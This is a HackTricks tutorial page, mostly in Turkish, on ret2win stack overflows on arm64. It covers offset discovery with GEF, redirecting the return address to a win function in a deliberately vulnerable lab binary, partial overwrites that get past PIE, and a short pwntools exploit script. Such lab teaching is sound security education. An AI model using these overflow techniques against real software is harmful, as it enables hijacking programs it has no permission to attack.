Ret2win - arm64
Ret2win - arm64
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
arm64'e giriş için şunları bulun:
Introduction to ARM64v8Kod
Compile without pie and canary:
Offset Bulma
Desen Seçeneği
Bu örnek GEF kullanılarak oluşturuldu:
Gdb'yi gef ile başlat, desen oluştur ve kullan:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2815339644-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FKXYG6TIGtXXE4WZnfup9%252Fuploads%252Fgit-blob-096c979f4a12f16813115caebf045cc6c03d305c%252Fimage%2520%281205%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=ecb2e4db&sv=1)
arm64, x30 kaydındaki (ele geçirilmiş) adrese geri dönmeye çalışacaktır, bunu desen ofsetini bulmak için kullanabiliriz:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2815339644-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FKXYG6TIGtXXE4WZnfup9%252Fuploads%252Fgit-blob-857c75045c3b3b8b5adabd858a63aaf943b7ba35%252Fimage%2520%281206%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=2c6505d3&sv=1)
Ofset 72'dir (9x48).
Yığın ofset seçeneği
pc kaydının saklandığı yığın adresini alarak başlayın:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2815339644-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FKXYG6TIGtXXE4WZnfup9%252Fuploads%252Fgit-blob-db5113a1179fa4142e4d55ab15c3dc54f30e64ea%252Fimage%2520%281207%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=d3e8269e&sv=1)
Şimdi read()
'den sonra bir kesme noktası ayarlayın ve read()
çalıştırılana kadar devam edin ve 13371337 gibi bir desen ayarlayın:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2815339644-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FKXYG6TIGtXXE4WZnfup9%252Fuploads%252Fgit-blob-4fab5fc91aa23b833470634d0e84aeba13e43a2c%252Fimage%2520%281208%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=7e03ed88&sv=1)
Bu desenin bellekte nerede saklandığını bulun:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2815339644-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FKXYG6TIGtXXE4WZnfup9%252Fuploads%252Fgit-blob-acc265687c6d27fc665966c25710898b2dfc4172%252Fimage%2520%281209%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=22c810a3&sv=1)
Sonra: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2815339644-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FKXYG6TIGtXXE4WZnfup9%252Fuploads%252Fgit-blob-50cc9d21a4d051e5ca550f231c3ab0edfb2ffae3%252Fimage%2520%281210%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=ad95ca0c&sv=1)
No PIE
Regular
win
fonksiyonunun adresini alın:
Sömürü:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2815339644-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FKXYG6TIGtXXE4WZnfup9%252Fuploads%252Fgit-blob-2b9922f3920ea5177d5e54c0a00added57135c9b%252Fimage%2520%281211%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=3a8e32b0&sv=1)
Off-by-1
Aslında bu, yığında saklanan PC'de daha çok off-by-2 gibi olacak. Tüm dönüş adresini yazmak yerine, sadece son 2 baytı 0x06c4
ile yazacağız.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2815339644-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FKXYG6TIGtXXE4WZnfup9%252Fuploads%252Fgit-blob-ef98334cf0c73a8b0410d25ce60fef4555fa4fbc%252Fimage%2520%281212%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=2ca0c36a&sv=1)
ARM64'te başka bir off-by-one örneğini https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ adresinde bulabilirsiniz, bu da kurgusal bir zafiyette gerçek bir off-by-one örneğidir.
PIE ile
Binary'yi -no-pie
argümanı olmadan derleyin
Off-by-2
Bir leak olmadan kazanan fonksiyonun tam adresini bilemiyoruz ama fonksiyonun binary'den olan offset'ini bilebiliriz ve overwrite ettiğimiz return adresinin zaten yakın bir adrese işaret ettiğini bildiğimizde, bu durumda win fonksiyonuna olan offset'i (0x7d4) leak etmek ve sadece o offset'i kullanmak mümkündür:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2815339644-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FKXYG6TIGtXXE4WZnfup9%252Fuploads%252Fgit-blob-b076519e1147190fa814be8491695fea49e89f17%252Fimage%2520%281213%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=cd007ed4&sv=1)
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
Last updated